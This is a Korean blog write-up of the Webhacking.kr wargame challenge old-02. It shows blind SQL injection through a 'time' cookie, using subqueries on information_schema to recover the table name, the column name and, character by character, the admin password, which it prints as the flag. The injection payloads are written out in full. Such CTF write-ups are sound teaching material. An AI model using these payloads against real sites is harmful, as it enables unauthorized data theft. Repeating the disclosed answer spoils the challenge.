웹 해킹/Webhacking.kr

[Webhacking.kr] old-02

L3m0n S0ju 2021. 8. 25. 23:19

 

 

문제 서버에 접속하면 위와 문구가 출력된다.

 

 

 

 

 

 


F12를 눌러 소스코드를 확인하면 주석이 두가지있는데 첫번째는 시간을 출력하고 두번째는 admin.php에 접속하라는 힌트가 기록되어있습니다.


admin.php에 접속하면 위와 같이 패스워드를 입력하는 창이 나오지만 패스워드는 알 수 없습니다.

 

 

 

 

 


다시 이전 페이지로 돌아가서 F12를 눌러서 Application의 쿠키값을 확인하면 time이라는 변수가 있습니다. 첫번째 주석에 시간이 적혀있었는데 관련이 있어보입니다.

 

 

 

 

 


time 값에 false를 입력하고 새로고침하면 주석에 기록된 시간이 위와 같이 09:00:00로 변경됩니다.

 

 

 

time 값에 true를 입력하면 09:00:01으로 변경됩니다. 이를 통해 우리가 입력한 데이터베이스 언어에 따른 결과값이 출력됨을 추측할 수 있습니다.

 

 

 

 

 


다음으로 현재 데이터베이스의 테이블 개수를 알아보기 위해서 아래와 같은 sql문을 입력하면 결과가 09:00:02가 출력되므로 테이블 개수가 2개임을 알 수 있습니다.

 

(select count(table_name) from information_schema.tables where table_schema=database())

 

 

 

 

 

 

 

 

 

 


현재 데이터베이스의 테이블 개수는 2개이므로 테이블 중 첫번째 테이블의 길이를 출력하는 sql문을 입력하면 13크기의 길이를 가집니다.

 

(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)

 

 

 

 

 

 

 

 

 


테이블 길이를 알았으니 테이블 이름을 찾아보겠습니다. 앞에서부터 한 글자씩 찾는다면 첫번째 문자는 아래의 sql 문을 입력하면 됩니다. 결과는 09:01:37로 01:37은 60+37=97을 의미한다고 볼 수 있겠습니다. 아스키코드 값을 참조하면 'a'임을 알 수 있습니다.

 

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0, 1)

 

 

 

두 번째 문자는 아래 sql문으로 d 임을 알 수 있습니다.

 

(select ascii(substring(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 0, 1)

 

 

 

 

97, 100, 109, 105, 110, 95

a     d    m     i     n    _   area_pw

 

 

 

 


테이블 이름은 admin_area_pw로 컬럼의 개수를 찾으려면 아래 sql문을 입력합니다. 컬럼은 한개밖에 없습니다.

 

(select count(column_name) from information_schema.columns where table_name="admin_area_pw")

 

 

 

 

 


컬럼의 길이는 2입니다.

 

(select length(column_name) from information_schema.columns where table_name="admin_area_pw")

 

 

 

 

 

 


컬럼 이름 역시 하나씩 찾습니다. 칼럼의 이름은 pw입니다.

(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw")

 

 

 

 

 


칼럼 값(패스워드)의 길이는 17입니다.

 

(select length(pw) from admin_area_pw)

 

 

 

 


(pw, 1, 1)부터 (pw, 17, 1)까지 sql 문을 하나씩 입력하면 패스워드를 찾을 수 있습니다.

 

(select ascii(substr(pw, 1, 1)) from admin_area_pw)

 

107 117 100 111 115 95 116 111 95 98 101 105 115 116 108 97 98 

  k    u    d    o    s    _   t    o    _   b   e     i     s    t     l   a   b

 

kudos_to_beistlab